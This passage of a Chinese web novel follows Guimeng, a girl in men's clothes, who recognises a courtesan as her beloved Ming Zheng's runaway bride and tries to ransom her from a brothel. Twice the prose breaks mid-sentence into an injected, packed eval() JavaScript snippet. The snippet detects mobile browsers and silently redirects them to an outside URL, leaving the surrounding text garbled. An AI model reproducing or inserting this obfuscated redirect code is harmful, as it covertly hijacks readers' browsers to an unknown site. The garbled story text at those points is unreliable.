一曲终了,不免让人有些意犹未尽。 归梦起了好奇之心,唤船家带这两名乐伎进来。 竹帘微掀,两道倩影伴随一股甜腻的脂粉香气柔柔地飘了进来。 左侧那女子身量微丰,眼含春水,毫不羞怯,颇有一番袅娜风流之态。 右首的女子却是低垂螓首,身材娇小清瘦,素白的手上握着一根翠绿的竹笛,想来方才吹笛的便是她了。 左侧女子显是老练许多,堆起甜笑上前盈盈见礼:“奴家名唤玉藻,见过两位官人。” 归梦平日所交所见的要么是世家贵女,要么就是寻常妇人。风月场中的女子,她却是从未接触过。 今日一见,确是别有风情。 她向来离经叛道,对于身份阶级看得极淡,是以不会抱有什么偏见,当下将荷包内剩下的银两尽数取出,赏给二女。 玉藻见客人出手如此大方,一张脸笑成了春花,千恩万谢地接了,又扯扯右侧吹笛女的衣袖,拉着她让她一同道谢。 吹笛女轻轻的低声说:“多谢二位官人厚赐。” 她抬头的一瞬间,归梦看到了她的容颜——确是一张好颜色的面孔。 那玉藻本也可算是美人,但和她一比顿时有些黯然失色了。 她满头青丝梳成了斜斜的堕马髻,只用了一枚素钗,并无多余妆饰。月白色的攒花襦裙上绣着粉红月季,白嫩的香肩上隐约可见一条艳丽的鲜红肚兜丝带,让人忍不住遐想。 她十分清瘦,锁骨嶙峋,整个人如同风中的一支蒲苇瑟瑟。 薄施粉黛的娇容看着有些苍白,眉宇间更有一缕化不开的清愁。 最惹人注目的,是她眉上一颗朱砂小痣,归梦觉得分外熟悉,好像曾在哪里见过似的,一时之间却想不起来。 明铮原本一直背对着二女,此时听到那吹笛女说话方才转身。 “敢问这位姑娘芳名?”明铮的声音有些发紧,短短一句话像是从喉咙里艰难吐出的。 往日那双平静、淡然,从不起任何波澜的眼睛这会儿也有些失了神,只牢牢地钉在了那吹笛女子的身上。 归梦觉得有些奇怪,莫非明铮看上了这吹笛女的美色? 那吹笛女抬眼看到明铮的瞬间也是如遭雷击一般,娇躯颤抖了起来,脸色也愈发苍白。 她握着竹笛的手攥得更紧了,仍是低着头:“奴家……贱名锦瑟。” 明铮起身走近两步,像是想把她看个仔细。 “锦瑟姑娘好笛艺,敢问师从何处?” 锦瑟不由得后退两步,镇定道:“我……奴家不曾拜师,只是自己琢磨,胡乱吹奏。” 归梦冷眼看着他二人对话,又见这锦瑟姑娘没来由的慌乱,心中愈发狐疑。 不止是狐疑,还有难受。 看到明铮对别的女子假以辞色,靠近、对话,她竟然会这般难受,好像是儿时吃桂花糕贪嘴吃太快噎住了的那种感觉,胸口像被堵住一般,喘息不上来了。 “听姑娘的口音像是广陵人氏……” “江淮口音多有相似,奴家从未去过广陵。” 锦瑟答得迅速,似乎想都没想。 明铮挺直的身躯轻轻一颤,眼中的火焰好像猛地被迫熄灭了,只剩下幽幽沉沉的凉意。 他垂下眼帘,不再凝视她,短暂地沉默了一下,唇角慢慢弯起:“是吗?那是小生猜错了。” 玉藻见场面冷住,同伴似乎惹得客人不愉快了,于是陪着笑就要上来敬酒。 归梦却瞧着锦瑟不说话,只苦苦思索:我在哪里见过她? 忽听舱外河上有人叫喊,迎面一条画舫驶近,船头有人站着大声问话:“方才谁在吹笛?我家官人要见见!” 那船家过去与之对答几句,匆匆钻进舱来,赔笑道:“对不住了二位,夏侯公子点名要吹笛的锦瑟姑娘过去呢!” 在这秦淮河画舫中取乐,又复姓夏侯,莫非是夏侯权那厮? 真是冤家路窄。 她冷笑道:“哼,什么夏侯‘马猴’的,我怕他不成?” 船家闻言吓得回头望一眼对面的画舫,连连作揖:“哎哟,公子爷您可说话当心!”他上前一步压低声道:“桓大官人也在那船上呢。求求您了,小人可吃罪不起啊……” 单是一个夏侯权也罢了,桓超竟然也在,若是争执起来碰了面倒是麻烦。更何况请来歌伎 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画舫靠了岸,船身摇晃了一下停住了。 归梦失手洒了点酒水在身上,她正想和明铮说她要去后舱更衣。 明铮却先她一步开了口:“抱歉,时辰不早了,明日还要上朝。小孟,今夜就到此为止吧。” 他的笑容不知为何看起来有些勉强,虚浮无力,并不像平日里那样潇洒自如。他拱了拱手,便转身弃船登岸。 那道高挺的玄色背影很快融入了茫茫无边的黑夜之中。 归梦本想张口唤住他,却忽然感觉下身一股热流涌出,两腿之间潮湿粘腻,已渗透了外裤。 她忍不住伸手一探——刺目的红色鲜血沾染在指尖,她不由得有些头晕眼花,张口朝着后舱喊道:“紫芽——” 她没想到生平第一次的癸水月信会在这个时候来临。 也许这也意味着,从这一天开始,她真正成熟了,成为了真正的女人,也能够品尝情的苦乐滋味了。 画舫的后舱放着一道屏风,那本是为她更衣用的。紫芽也在后舱静候多时了。她预备换了女装梳妆打扮了出来见明铮。这就是她原本的计划。 紫芽匆忙给她做了个布包垫在身下应急,到家之后服侍她躺下,用被子裹好,又让丹娥吩咐厨房熬了碗浓浓的红糖姜水让她喝下。 小腹有些隐隐作痛,可这也无法让她的思绪停下。今夜明铮的表现她看在眼里,他与那吹笛女……他们是否过去就相识,或是有过什么?所以他那样一个云淡风轻的人都情难自控…… 归梦越想越是没有头绪,酒意上涌,便昏昏沉沉睡去。 当晚做起了噩梦。梦中,明铮与那吹笛子的乐伎锦瑟拜堂成婚了。 惊醒后,汗水涔涔而下。 梦中那大红盖头下身着喜服的新娘娇艳动人,眉上一颗朱砂小痣鲜红欲滴,渐渐地,与记忆中三年前那道大红色的新娘背影重合了,她们重叠在一起,融为一体,是一个人。 原来是她! 自己竟这么健忘糊涂!明铮认识的,又让她觉得眼熟的,还能有谁? 当年她会识得明铮也是因为他俩这场未完成的婚礼。 三年前,她纵走了他的新娘,却对他从歉种情,一见难忘。 三年后,命运之手覆雨翻云,冥冥之中又将他三人牵到了一起。 谁能想到,当年逃跑的新娘,竟然已沦为乐伎…… 20. 救风尘 忆起了吹笛女的身份,归梦便再也睡不着了。她忽地想到什么,从床上爬起来,举着烛台翻箱倒柜地寻找。 一旁守夜的紫芽被她动静吵醒,迷迷糊糊地问:“梦娘你找什么?” 归梦遍寻不到,焦急道:“你可曾见过那枚比目白玉佩吗?前不久我还曾佩戴过。” 紫芽叹了一声,起身挑了灯,从妆台屉子下摸出个木盒:“我见你佩过一次后就不用了,便收在这里。” 归梦取出那枚比目白玉佩,让紫芽去歇息。 她躺回床上,摩挲着这枚玉佩,心里却是百味杂陈,就那么辗转难眠间,已是东方既白。 谢氏已从侍女那知道归梦来月信之事,仔细交代了务必要注意这几日的饮食起居,又拿来不少滋补品,让厨房炖给归梦。 她叹道:“若不是你那乳母要留在高平陪伴她家人,如今你身边也不至于没个老成的照顾。” 归梦笑道:“紫芽她们伺候得挺细致周到了,母亲不必挂心。” “她们也就比你大个两三岁,能懂得什么?左右这几日少些走动,切勿沾生冷之物。” 谢氏耳提面命,亲自监督,归梦纵然是一颗心早就飞到了九霄云外,却是脱不得身,无奈至极。 好容易捱得月信离去,已是五日之后,她终于携了紫芽出门。 归梦想起,那日船家报上门户之时说的是“莳花楼”。 莳花楼,倒是有些耳熟。不就是之前那醉汉要卖女的去处吗?看来那里定是不少良家妇女的沦陷之处。 不知那地方是怎样的龙潭虎穴,但无论怎样,她都要闯一闯。 马车直奔明宅。 想来想去,这件事还是需得向明铮问清楚,邀他同去。 谁知到了明宅,却是大门紧闭。紫芽去问了门房,说主人交代过,这几日拒不见客。 归梦掀起车帘下了车,亲自去找那门房交涉。 她一整仪容:“我姓孟,与你家公子是好友,之前也常来。你忘了吗?” 门房不卑不亢:“记得记得。您是孟公子。但是我家少爷确实交代过,谁也不见。” 岂有此理。归梦忍住想破门而入的冲动。 他曾经的女人此时身陷风尘,他怎么还能闭门不出泰然自若? 归梦愤愤地上了马车,大声道:“去莳花楼。” 赶车的家丁小陈却不动。 归梦以为他没听清,又说了一遍。 小陈一脸的为难:”那地方,我可不敢带您去。您也不方便去啊。” 紫芽在旁亦劝道:“那地方是男子寻欢作乐之处,哪有良家女子。何况您是何等身份。若是教人知道了,平白污了清白……” 归梦不以为意:“怕什么,咱们这不是穿着男装!你若害怕,大不了咱们带小陈一起进去。” 小陈唬了一跳:“女公子你饶了小人吧,若是让主君与主母知道,非打死小人不可。” “行了,瞧你吓得。你若愿意进去给我当个随从那是最好,若是不愿意,就外面待着放风。出什么事我一应自己担着,快赶车!”归梦一声令下不容置疑。 莳花楼本是秦淮河畔闹市里的一幢两层的精舍。 远看倒还算雅致精巧,只是此时也是门户紧闭。 归梦纳闷:“已是日上三竿了,怎地不开门做生意?” 小陈解释:“这秦楼楚馆,向来都是做晚市生意的。” 归梦“哦”了一声,转而戏谑道:“小陈,你这般了解,方才驾车也是轻车熟路,你莫不是来过?” 小陈吓得连连摆手:“小人哪有福分来这种地方,这莳花楼出入的都是达官显贵……京师最出名的倡伎都在这呢!小人平日驾车经过此地难免有个印象,故而认识路……” 紫芽有些担忧:“那难道咱们要晚上再来?梦娘你要寻的人确实在这里面吗?” 归梦如何能等到晚上?她摇摇头:“十有八九吧,反正先进去找找看。”说着就让小陈叩门。 连叩了几声,才有人应声,大门斜开了一条缝。 隔着门缝的是一只男人的三角眼,打量了他们一眼,懒懒道:“几位爷来早了,女娘们都还没起呢。”说完就要把门关上。 小陈急忙伸手拦住:“我们要找人。” “找谁啊?” 归梦听对方语气冷淡,朝紫芽使了个眼色,塞了块银饼过去:“让我们进去再说。” 钱是硬通货。那门立刻开大了一些,将他们让了进去。 有些恶形恶状的方脸三角眼男仆,此时带着笑,腰也躬了些:“这位官人,且稍待,您找哪位娘子,小人先去通传一声。” “唔……”归梦用折扇半遮着脸,四下打量着莳花楼的内院,倒也没什么特别之处。只是脂粉气甚重。 此时院内安静,只有寥寥几个仆妇在洒扫擦洗。 “有一位善吹笛的锦瑟姑娘,可在这里?”归梦低声问道。 男仆迟疑着上下打量归梦一番,笑道:“锦瑟近来可是我们莳花楼的红人,并不见寻常客人。” 一阵浓烈刺鼻的脂粉香风飘来,打扮鲜艳身材丰润的中年妇人妖妖娆娆地走了过来:“哟,又是谁要见锦瑟啊?她近来的行情可好得很呢!”声音酥软,让人听得骨头都轻了几分。 小陈凑到归梦身侧悄声道:“这应当便是鸨母了。” 归梦不知鸨母什么意思,但见这妇人似乎便是主事之人。 她听这主仆一搭一和心下甚是不耐,折扇一收,斜睨着那妇人道:“我现在就要见见锦瑟,你开价吧。” 小陈和紫芽在旁听得摇头叹气,这不是等着被鸨母狠宰吗? 归梦此番倾尽了荷包,直叹这莳花楼物价太也昂贵,当真是个销金窟。 饶是如此,鸨母只让她一人去到锦瑟的房间,紫芽和小陈只得在大厅饮茶等候。 归梦敲了敲门,听到屋内有女子娇声应了:“请进。”她方推门进入。 进门左手边的屏风上挂着几件女子的衣裙,右手边的梳妆台前坐着一位美人正对着菱花镜梳理着青丝。 镜中女子粉黛不施,转过头来却是丽质天成,满头青丝如瀑般垂于肩头,眉上一点朱砂痣嫣红。 归梦不得不承认,她确是个很美的女子。虽然不及诗安那般容颜绝世,出尘脱俗,但她美在娇艳而亲切,气质温文尔雅又带三分楚楚可人。 这房内的陈设倒是出乎归梦的意料。她本以为沦落此地的女子必然日子苦楚,不曾想却是生活在富贵锦绣堆里,绫罗绸缎绣着金线,妆台也是上等的梨花木雕刻而成,宛然是富家千金的用度。 “公子是……?”锦瑟开口询问。 “你不认得我了?”归梦的话问得有些含糊,她自己也不知道自己问的是哪一次,是几日的那次见面还是三年前的那一面。 锦瑟一双妙目瞬间恍惚失神,秀美的面庞随即浮起一点勉强的笑:“奴家记起了,乞巧节那一晚,画舫之中,您与另一位公子一起……”归梦注意到,她提到明铮又像是有些伤心似的。 “是,还有呢?”归梦热切地追问。 “还有?”锦瑟茫然摇头。 归梦自怀中取出那枚比目白玉佩,手指捏住丝绦,手掌松开,那玉佩便垂垂地出现在锦瑟的眼前。 白玉雕刻而成的两只比目鱼活灵活现,意趣宛然。 锦瑟大震,睁大双眼定定地看着玉佩,美目中有晶莹的泪珠流出滚落双颊。她颤抖着手接过,轻轻抚摸着玉佩上的纹路。 三年前,她穿着火红的嫁衣逃婚,幸得了一个男童的指引才顺利出逃,临分别前,她以这枚比目白玉佩相酬。 经历了三年的时光,这枚白玉佩依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她恳切地说:“姊姊,我一定救你出去!你放心。”她想起来时的路上跟小陈打听的话,这里的女子大约都是被卖进来的,用银钱买回卖身契应当就可回归自由之身了。 锦瑟却是摇摇头:“不必了,我离开这里又能如何?天下已无我可安身之处。” “怎么会呢?我可以安排人送你还家。对了,姊姊,你原本叫什么?何方人氏?” ”不!”锦瑟抗拒道:“我逃婚,让家族蒙羞,父亲兄弟决不会再认我。我已是满身污秽,又有何颜面回去……倒不如待在此处,了此残生罢了。” 归梦迷惑了,就因为逃了婚,就要众叛亲离吗?她喃喃道:“为何会这样?” “自古‘聘为妻,奔为妾’。我放着正头娘子不做,与人私奔是自甘下贱。如今被人弃若敝屣,也是天理昭昭。我无话可说。小兄弟,你这就去吧,以后也不必再来了。”她低头看了看手中的比目白玉佩,眼中有不舍:“没想到,时隔数年我还能再看到这枚比目佩。” 她低声吟道:“‘故如比目鱼,今隔如参辰’……这玉佩本是一双,烦请你帮我把这一块也交给明公子。” 终于听她提到明铮了,不知她对明铮到底是何种感情,是否是心怀歉疚? 归梦不接:“你可知那一晚他见到了你,便有些失魂落魄的。我从没见过他那个样子……大概,他还没对你忘情。” 归梦也不知道自己怎么会说出这句话来的,她觉得自己很虚伪,她违心地安慰锦瑟,无非是在试探她希望她否认这句话。 锦瑟的眼神中有凄凉之意:“是我伤他至深。对他,我无地自容。”说着将玉佩塞到归梦手中:”你们以后都不要再来了,这里只会弄脏了你们。” 归梦敏感地捕捉到她的用词:“难道,明铮已经来过了?” 锦瑟缓缓地点了点头:“我没想到,他竟会在这等了我近一夜。” 21. 续前缘 归梦心头一震,喃喃道:“等了你一夜?” 原来七月七日乞巧节那一晚,明铮失了风度匆匆告辞离去,竟是直奔了莳花楼而来。锦瑟在画舫上陪客,消磨到凌晨方归,回到莳花楼,便看到了正在等候的明铮。 明铮要为锦瑟赎身,她却不允。 归梦闻言,顾不得心中酸涩,怪道:“你为何不愿他为你赎身?” 难道,事已至此,她仍是不愿跟着明铮吗? 锦瑟面色苍白,泫然欲泣,洁白的贝齿咬了咬樱唇,几欲咬出血来,颤声道:“赎得了身,可赎不回完璧之身!” 归梦睁大了双眼。是啊,她回不去了!从官宦之女到欢场乐伎,这身份的变化是云泥之别。更重要的是,历尽屈辱,她的心也早已千疮百孔。 锦瑟续道:“被夺爱弃婚是何等的耻辱,我已经连累了他被人耻笑。我如何再能让他为我赎身,继续拖累他呢?” 归梦沉默了。半晌,她忽道:“也许他并不在乎。” 锦瑟摇了摇头,正要说话,门外却响起那鸨母的尖声:“锦瑟,夏侯公子的马车已到门口了,赶紧收拾收拾出发了。” 鸨母听得房内没有动静,立刻推门进来,假笑道:“这位公子啊,今儿就到这吧,锦瑟还要梳妆换衣服去别人府上。” 归梦见这鸨母狗眼看人低,想着自己掏空了荷包,才与锦瑟聊了不到一个时辰便要被驱赶,当下就要愤愤地上前理论。 锦瑟急忙闪身拦住,拉住了归梦的衣袖,对鸨母说:“女儿这就准备。” 她握了握归梦的手,深深看了她一眼,示意她将手中的玉佩收好,又屈身福了一福:“公子走好。” 这一眼中藏着太多的话语,欲诉未诉。虽然她们这才是第三次见面,归梦却觉得与她已很熟悉了。大约是她们之间分享着一个秘密,她们一同做了逃婚这样冒天下之大不韪的事。 她不说“再见”,大约是希望以后勿要再见了。 归梦鼻头一酸,握紧了掌心的白玉佩,拧身走了出去。 归梦、紫芽三人刚出莳花楼,顿时觉得眼前灿然生辉。 门前一辆马车配着四匹马,马匹神骏,银络金蹬,雕鞍嵌玉,马脖子上的摇铃亦是黄金打造。车厢则是整块沉香木雕成,奢侈无比。 想来这就是夏侯权派来接锦瑟的马车了。 车旁两名健仆亦是锦衣皮靴,此刻等得已有些不耐烦,见出来的是归梦一行,翻个白眼扭过头继续闲聊。 归梦冷笑一声。按律尚书郎以下官员不许用马,这夏侯权不过是个小小的散骑常侍,用如此招摇的马车乃是大大的逾制。 她转身走向自家的马车,相形之下,自家的马车朴素得有点寒酸。 马车行在青石板路上,车轮与地面发出辘辘的声响。 紫芽道:“我听说,那夏侯权与桓超走得挺近的。还有那个侯峻,三人经常在一处取乐。” 这消息对归梦来说并不新鲜了。此时她脑中只想到——锦瑟又要去陪这些恶俗之徒了。 夜晚,归梦难以入睡。她满脑子都是锦瑟、明铮,还有自己的心事——这剪不断理还乱的情缘。 看样子,明铮对锦瑟依然有情,可他为何放任锦瑟留在莳花楼了?还有锦瑟,之前所托非人,经历了这一番,她也许会发现明铮的好,回心转意。她嘴上说不愿拖累明铮,心中未必就对明铮无情。 他们对彼此到底是怎样的一种感情? 归梦心中有太多太多的疑团。她恨不得立刻飞到锦瑟与明铮二人面前,拉着他们让他俩当面解释给她听。 紫芽从归梦那知道了前因后果,安慰道:“那锦瑟自愿留在莳花楼不是正好吗?若是明公子真替她赎了身,他二人再续前缘,梦娘你怎么办?” 一语惊醒梦中人。 归梦找到了自己内心症结所在。 为什么自己听到明铮来寻锦瑟,等了她一夜,心里会那么难受…… 为什么锦瑟不愿离开莳花楼,自己内心反而松了口气…… 原来自己是怕锦瑟与明铮再续前缘。 归梦暗骂自己,这是妒火,这是小人之心。自己平日自诩光风霁月,洒脱不拘,唯独在情字上,那么计较敏感。 只要涉及到明铮的事,就大度不起来了。 当初不知诗安是否有意隐瞒不让自己找到明铮,自己就无端臆想,疏远了诗安。 王如芝不过是同样倾慕明铮,自己就看她不顺眼。 现在,冒出一个与明铮曾有婚约的锦瑟,是自己最大的威胁。自己就顺水推舟,放任她留在风月之地…… 岑归梦啊岑归梦,为了个男人,你怎能变成这样? 翌日,晨妆之时,紫芽见归梦眼下乌黑,像是一晚没睡,但是面上却挂着微笑,看着心情不错。 原来归梦想了一宿,终于豁然开朗:罢了,感情之事本就不可勉强,岂因我个人意志为转移?若他二人还彼此有意,那我就潇洒放手,成人之美。若他已放下了这段情,我自要继续争取。不过无论如何,眼下当务之急是先救她出火坑才是。她纵然可能是自己的情敌,自己也不能眼睁睁看着这样一个女儿家陷在那不见天日的地方。 关于锦瑟将来的去处,她也略略谋划了一番。若是明铮不愿意收纳锦瑟,她就给锦瑟另寻个住处。 归梦听闻今日父亲召了郭朴来府议事,才知道师父他老人家已经云游归来。 她知道父亲除了政事,必会将她的婚事与之相咨,故而耐心在书房外的庭院里等着,将近日遭遇一一倾吐,也请教师父的意见。 初秋时节,庭中的石榴花已是走到末路的绚丽,一阵风过,几瓣残花零乱飘落,没了碧绿的叶子衬托,越发显得殷红如血。 归梦耳边还回响着师父刚刚说过的话:“莫干涉他人因果。” “这小娘子自有其宿命,她的果报需她自行承受。若说是谁造成的,那是她自己和那个负她的男子!你救不了她,谁也救不了她。为师最了解你的个性,你若决意去做,谁也拦不住。唯有撞了南墙才会回头。是以我也不多劝你。我只告诉你一句——万般皆是命。” 归梦知道师父料事如神,通晓阴阳,能占卜预知未来。她虽从师父那学了些微末本领,可总是不愿照着那卦象的指引去做,总是依照自己的本心行事。原因在于——她不信命。 她不相信,锦瑟的命运就是这样了。即使希望微弱,她也想去拉锦瑟一把,就算是为了成全她与锦瑟这段缘分吧。 傍晚,莳花楼。 依旧是一身男装的归梦站在门口,看着香车往来,人影憧憧,时不时有娇娃依着豪绅调笑出入。这晚市的生意果然热闹。 归梦深吸了口气,今夜必得跟那鸨母谈妥价格。 她命紫芽和车夫小陈只在外头等候,孤身入内。 转过回廊,竟也不见鸨母。寻了仆从询问,才知鸨母在二楼招呼客人。 归梦抬头见楼上房中灯火摇曳,不时传来男女笑声,她压着性子等了半晌仍不见鸨母走出,决意还是上楼去找。 她敲了几下门,不见应声,又重重敲了几下,终于有人将门半开。 那鸨母认出归梦,露出一抹不豫之色,又随即换上职业假笑:“这位公子,妾身这会儿不得空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599179|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼您,我让下面人带您去挑几个姑娘陪着吧。”说着就要唤手底下的仆从过来。 “不用忙。我今日来只是想为锦瑟赎身,你开个价吧。”归梦淡淡说道。 鸨母愣了愣,上下打量归梦一番,掩唇咯咯娇笑:“你这人,可别跟我开玩笑了,就凭你也想赎锦瑟?” 归梦被她肆无忌惮的眼神看得心里不舒服,又听她言语间不把自己放在眼里,口气也开始硬起来了。 “凭我有银子还赎不了她的身吗?你尽管开价!”归梦大声道。 她嘴上说的豪迈,但其实心中也十分忐忑,怕这鸨母真的狮子大开口,开个天价出来。 鸨母不耐,伸手推搡归梦,便欲关门:“去去去,乳臭未干的小子,少来消遣老娘!” 一旁早有奴仆赶来,在鸨母摆手示意下就来拖拽驱赶归梦。 归梦伸手顶住门,情急之下,一边朝里闯一边叫喊:“这就是莳花楼的待客之道吗?我就是要赎锦瑟,你们凭什么赶我!” 不知何时屋内的男女调笑声停了,只听屋内一个清越的男子声音响起:“莲姑,让她进来。” 鸨母听了,忙应了一声,叫人停了手。 归梦整了整衣衫,轻哼一声。 莲姑回头朝屋内望了一眼,又瞪着归梦压低了声道:“你可小心说话。”说罢闪身让归梦进门。 归梦猜想屋里的人必然有些来头,不觉踌躇。可若是就此离去,锦瑟的事恐又拖延,不免夜长梦多。 当下只能硬着头皮进去看看是何方神圣。 只见屋内红烛摇影,置着一桌酒菜,另有一道珠帘将房间隔成两半。 珠帘后人影晃动,只有小声的窃窃私语,像是均在等着归梦到来。 莲姑出声道:“王公子,人带到了。”说着伸手将归梦一推。归梦被推得上前几步,双手一分,已然掀开珠帘。 只见一名身着烟霞紫绸袍的男子,松散着衣衫,微微露出胸膛,披头散发,俊眼修眉,嘴角含笑,正斜倚在榻上的紫檀木桌前,与几名美娇娘玩着樗蒲。这些女子体格风骚,调笑无端。有的甚至罗衫轻褪,露出雪白的臂膀,令人不敢逼视。 她们或倚或坐,此时均睁大眼睛看向归梦,露出好奇的神色。 待归梦看清那男子的相貌,顿时尴尬得想逃走。 这“王公子”正是王家二郎,王如芝的哥哥王子野! 王子野双目一亮,显然也是认出了归梦。他不动声色,只是笑着问鸨母:“莲姑,你方才在和这位公子吵嚷什么?” 莲姑媚笑道:“也没什么……”觑了眼归梦:“这位公子,闹着要赎锦瑟。” 众女听了这话,纷纷交头接耳,悄声议论起来。 王子野闻言先是有些惊讶,接着狭长的凤眼中笑意渐深:“哦?看不出来,岑……公子这般多情。既是如此,莲姑你何不成人之美?” 他嘴上对着莲姑说话,眼睛却一瞬不瞬地盯着归梦。 莲姑看了看王子野,又看了看归梦,讶然道:“王公子,你,你们认识?” 归梦抢着道:“不认识!王公子是高门大族,岂是常人攀附得起的。” 上次在琼花观,她就对这王家二郎印象不佳。今日见他在这莳花楼中左拥右抱,更是厌恶。她生平最讨厌这种好色浪荡的轻薄之徒。更何况,她也怕王子野拆穿她的身份。 王子野也不反驳,只是饶有兴致地看着她。他笑道:“岑公子说不认识,那便不认识吧。” 他说着朝莲姑使了个眼色:“莲姑,人家要赎你家的红牌姑娘,这可是财神爷来了,你还不赶紧伺候着。” 22. 惜分飞 莲姑会心一笑,手帕轻扬:“来来来……”王子野身旁的美人纷纷围到归梦身边,拥着她穿过珠帘到桌边坐下,连连敬酒。 归梦陷在脂粉堆里,一抬眼瞧见的便是粉颈细腰、朱唇玉臂。 她感觉浑身的鸡皮疙瘩都起来了,不知哪个女娘娇软的手抚上了她的后背,顿时让人心头一阵酥麻的,她再也忍受不住”啊“地一声蹦开老远。 “走开走开!”她粗声粗气道。 她身侧一粉衫女子本端着酒杯劝酒,被她一呵斥,立时委屈起来:“公子可是嫌弃奴家卑贱,不配与你喝酒吗?” 众女纷纷附和,均起了自悲自怜之心,恨不得落下泪来。 归梦不觉心软,忙道:“我不是这个意思。”她叹了口气,接过粉衫女手中的酒杯一饮而尽。 众女娇笑着簇拥了上来,拿着酒杯频频劝酒。归梦推拒不得,被连着灌下几盅酒,喝得过快,转眼间双颊已是飞红如霞。 隔着珠帘的间隙,她瞥见王子野正含笑望来,一双凤眸里透着狡黠。 这可恶的家伙! 酒过三巡,还好归梦神智仍是清明,她拽住莲姑衣袖,嚷嚷道:“此刻我酒也喝了。锦瑟我要定了,到底多少,你说个数!” 莲姑瞥了王子野一眼,假意为难道:“这锦瑟可是我莳花楼的头牌娘子,近来多少达官贵人排着队要见她,只为听她吹笛……若是没有五十块金饼,我是绝不可能让人赎了她去的。” 归梦猛地站起身,以为自己听错了:“多、多少?”她不敢置信:“五十块金饼!” 其时市面上交易通商多用铜钱与银饼,金饼流通并不多,一块金饼足够乡间贫苦人家一辈子的吃用了。 “你莫跟我玩笑了!”归梦恼了。这鸨母分明是故意戏耍她,在这狮子大开口漫天要价。 莲姑张嘴正欲说话,她身后的王子野先出声了:“莲姑,你确实是玩笑了!” 他缓缓起身,纤长的手指分开珠帘,慢慢走近,虽是对莲姑说话,眼睛却只注视着归梦。 “以锦瑟姑娘的身价怎会只值区区五十块金饼呢?我出八十块金饼!” 话语一出,众女皆惊。 归梦见王子野此时忽然出来与她相争,还哄抬价格,不由得怒目而视。 无怪别人说小人得罪不得。碰上他,算她倒霉。 王子野不躲不避,只是含笑迎着她的目光,挑了挑眉,示意她是否要加价。 归梦咬了咬嘴唇,一股热血上涌,大声道:“我出一百块金饼!”她不服输,恶狠狠地瞪视回去。 莲姑见转眼间价格就已经翻了倍,目光闪动难掩喜色,腻声问道:“那王公子您……” 王子野微笑着摇了摇头:“唉,君子不夺人所爱。岑公子如此豪气,为美人一掷百金,在下佩服。” 虚伪阴险!归梦气得说不出话来。 她咬了咬牙,今日暂且忍住,反正这个仇她记下了! 莲姑笑道:“正是,这位岑公子可真是大手笔。一百块金饼,那可重得很呢!您这就请取来给妾身清点分明,妾身也好唤锦瑟出来,咱们一手交钱,一手领人哪!” 归梦一怔:“今日我来得匆忙,未曾携带这许多……回头,回头我让下人送来。” 莲姑面上厚重的脂粉像是僵住了,语气一冷:“公子莫非是消遣妾身吗?历来钱货两讫,没有钱你还敢叫价!”说罢翻了个白眼,神情鄙夷再不愿搭理。 众女在旁看了这么一出戏,也小声议论起来,有的讥嘲有的窃笑。 归梦何时受过这种委屈,她一张秀脸涨得通红,恼羞成怒,正想发作,王子野却笑笑出来打圆场:“这样吧,岑公子若是愿意,这一百金在下替你出了。” 众人更是惊讶,哗然一片。 这王子野葫芦里到底卖的什么药,他先前故意抬价,此时又装好人要借钱给她,必有阴谋。 她恼怒道:“哼,假仁假义!” 她不欲和他多说,旋即转身,对莲姑说:“你且等着,我说话算话,明日定会带一百块金饼来赎锦瑟的。”说完便出门下楼去了。 天早已呈墨黑色,紫芽和小陈在外等得心焦,见归梦出来急忙上前:“梦娘可出来了,你一个人进这种地方,我……” 小陈苦着脸道:“公子,快回吧!时辰不早了。” 紫芽啐道:“行了,瞧你那样,有公子在,不让鲁管家责罚你就是了。” 她觑着归梦脸色,问道:“如何了?谈妥了吗?” 归梦不言语,只抬脚朝马车走去。 身后却传来王子野的呼唤声:“岑公子……” 阴魂不散! 归梦霍然回头,怒道:“鬼叫什么?” 王子野站在莳花楼门柱上垂挂的大红灯笼下,轻袍缓带,笑得怡然:“方才在下说的话依然作数。你若有需要,金子我借给你。” 归梦大声道:“不必,留着你的钱吧!”她声音清脆响亮,引来门口往来客人的侧目,不觉面皮发烫,气呼呼地上车走人了。 这王子野,今日戏耍得她还不够吗?明知她是女儿家,却先是让她被众女灌酒,接着又乔张做作地先抬价,后借钱。就如猫捉老鼠一般,先戏弄个够再一口吃掉。她才没那么笨,轻信他就有可能中他的圈套。 更何况,她岑家与王家早有龃龉,她才不想和王家人有什么牵扯。 一大早,归梦就将首饰盒翻了个底朝天。她平日并无甚需要花钱的地方,吃穿用度从不缺。母亲每月也会给她银钱供她出门花销。她这辈子,还从来没有为钱犯过难。 一百块金饼不是小数目……往日花钱任性,素无积蓄,眼下手头边仅有几两金银可用。 她心一横,对紫芽说道:“把那两个赤金累丝攒珠的璎珞圈拿去典了吧!” 紫芽瞪大了双眼:“这幅头面是主母特地着人打了给你及笄之礼用的!可卖不得!” “我知道。这是事急从权嘛,只是典一下。反正离及笄还有一段时间,到时候再赎回来,神不知鬼不觉。母亲不会发现的。” “说得容易,一百金,得攒多久的月钱才能赎回来?”紫芽丝毫不给面子。 “这劳什子再怎么贵重也是个死物,怎能比得上人重要。眼下救人要紧。”归梦央道:“好紫芽,你快去吧。这会儿典铺应当已开门了。” 一百金一到手,归梦立刻赶去了莳花楼。这几天以来,已是第三次出入这里了。她虽作男子装扮,但是入此风月之所仍是不免紧张压抑。 她越同情这里的女娘,便越痛恨这个地方,厌恶那些来此取乐的男子。 归 